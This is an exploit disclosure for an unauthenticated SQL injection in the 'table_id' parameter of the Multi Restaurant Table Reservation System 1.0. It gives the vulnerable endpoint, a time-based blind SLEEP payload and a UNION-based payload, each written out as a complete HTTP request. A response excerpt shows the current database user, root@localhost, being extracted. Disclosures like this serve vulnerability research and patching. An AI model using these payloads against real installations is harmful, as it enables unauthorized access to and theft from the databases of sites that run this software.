Multi Restaurant Table Reservation System 1.0 SQL Injection

2020.11.04
Credit: yunaranyancat
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Title: Multi Restaurant Table Reservation System - 'table_id' Unauthenticated SQL Injection # Exploit Author: yunaranyancat # Date: 02-11-2020 # Vendor Homepage: www.sourcecodester.com # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip # Version: 1.0 # Tested On: Ubuntu 18.04 + XAMPP # Description The file view-chair-list.php does not perform input validation on the table_id parameter which allows unauthenticated SQL Injection. An attacker can send malicious input in the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability. # POC N°1 = Time based blind SQLi GET /TableReservation/dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+- HTTP/1.1 Host: [TARGET IP/URL] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ### Server will sleep for 10 seconds before returning the response # POC N° 2 = UNION based SQLi ### Request (getting current user) GET /TableReservation/dashboard/view-chair-list.php?table_id=%27%20UNION%20ALL%20SELECT%20CONCAT%280x7176787071%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x71716b7071%29%2CNULL%2CNULL--%20- HTTP/1.1 Host: [TARGET IP/URL] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 2 ### Response ... <td class="center hidden-phone"> <a href="delete-chair.php?chair_id=[REDACTED]root@localhost[REDACTED] class="btn btn-danger" onclick="if (!Done()) return false; ">Delete Chair</a> ...


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